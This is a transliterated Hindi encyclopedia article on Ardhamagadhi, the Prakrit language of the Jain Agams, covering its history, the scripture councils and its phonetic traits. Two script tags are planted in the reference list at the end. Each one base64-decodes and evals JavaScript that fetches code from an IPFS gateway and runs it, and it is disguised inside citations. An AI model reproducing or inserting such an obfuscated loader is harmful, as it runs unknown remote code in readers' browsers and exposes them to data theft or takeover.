अर्ध मागधी
ardhamagadhi prachin kal mean magadh ki bhasha thi. magadhi aur shauraseni prakritoan ka vah mishrit roop, jo kaushal mean prachalit tha. mahavir aur buddh ke samay mean yahi kaushal ki lok-bhasha thi, atah isi mean unake dharmopadesh bhi hue the. lokabhasha hone ke karan yah asani se stri, balak, vriddh aur anapadh logoan ki samajh mean a sakati thi. age chalakar mahavir ke shishyoan ne ardhamagadhi mean mahavir ke upadeshoan ka sangrah kiya jo agam nam se prasiddh hue. samay-samay par jain agamoan ki tin vachanaean hueean. aantim vachana mahaviranirvan ke 1,000 varsh bad, eesavi sanh ki chhathi shatabdi ke aranbh mean, devardhigani kshamakshaman ke adhinayakatv mean valabhi (vala, kathiyava d) mean huee jab jain agam vartaman roop mean lipibaddh kie ge. isi bich jain agamoan mean bhasha aur vishay ki drishti se anek parivartan hue, jo svabhavik tha. in parivartanoan ke hone par bhi acharaang, sootrakritaang, uttaradhyayan, dashaivakalik adi jain agam paryapt prachin aur mahatvapoorn haian. ye agam shvetaanbar jain paranpara dvara hi many haian, diganbar jainoan ke anusar ye lupt ho ge haian. maury samrat ashok ke poorvi shilalekh bhi isi bhasha mean aankit hue the. ajakal ki poorvi hindi arthath avadhi, bagheli, chhattisagadhi adi boliyaan isi se nikali hai.[1]ardhamagadhi shabd ka kee tarah se arth kiya jata hai:-
jo bhasha magadh ke adhe bhag mean boli jati ho,
jisamean magadhi bhasha ke kuchh lakshan pae jate hoan, jaise pulliang mean prathama ke ekavachan mean ekaraant roop ka hona (jaise dhamme).
- hemachandr achary ne ardhamagadhi ko arsh prakrit kaha hai.
- arddh magadhi ki sthiti magadhi aur shauraseni prakritoan ke bich hai. isalie usamean donoan ki visheshataean payi jati haian.
- is bhasha ka mahatv jain sahity ke karan adhik hai.
- agamoan ke uttarakalin jain sahity ki bhasha ko ardhamagadhi n kahakar prakrit kaha gaya hai. isase yahi siddh hota hai ki us samay magadh ke bahar bhi jain dharm ka prachar ho gaya tha.
- bhashavijnan ki paribhasha mean ardhamagadhi madhy bharatiy ary parivar ki bhasha hai, is parivar ki bhashaean prakrit kahi jati haian.
- ardh magadhi mean ‘rh’ evan ‘lh’ donoan ka prayog hota hai. isamean danty ka moordhany ho jata hai- sthit > thip.
- is bhasha mean shh, shh, sh mean se keval sh ka prayog hota hai tatha anek sthanoan par sparsh vyanjanoan ka lop hone par ‘y’ shruti ka agam ho jata hai. sagar > sayar / krit > kayan . is niyam ka apavad hai ki ‘gh’ vyanjan ka samanyatah lop nahian hota.
- ardh-magadhi mean karta karak ek vachan ke roopoan ki siddhi magadhi ke saman ekarant tatha shauraseni ke saman okarant donoan prakar se hoti hai.
- madhy bharatiy ary parivar ki bhasha hone ke karan ardhamagadhi sanskrit aur adhunik bharatiy bhashaoan ke bich ki ek mahatvapoorn k di hai.[2]
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tika tippani aur sandarbh
- ↑ arddh magadhi (hindi) bharatiy sahity sangrah. abhigaman tithi: 22 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 244 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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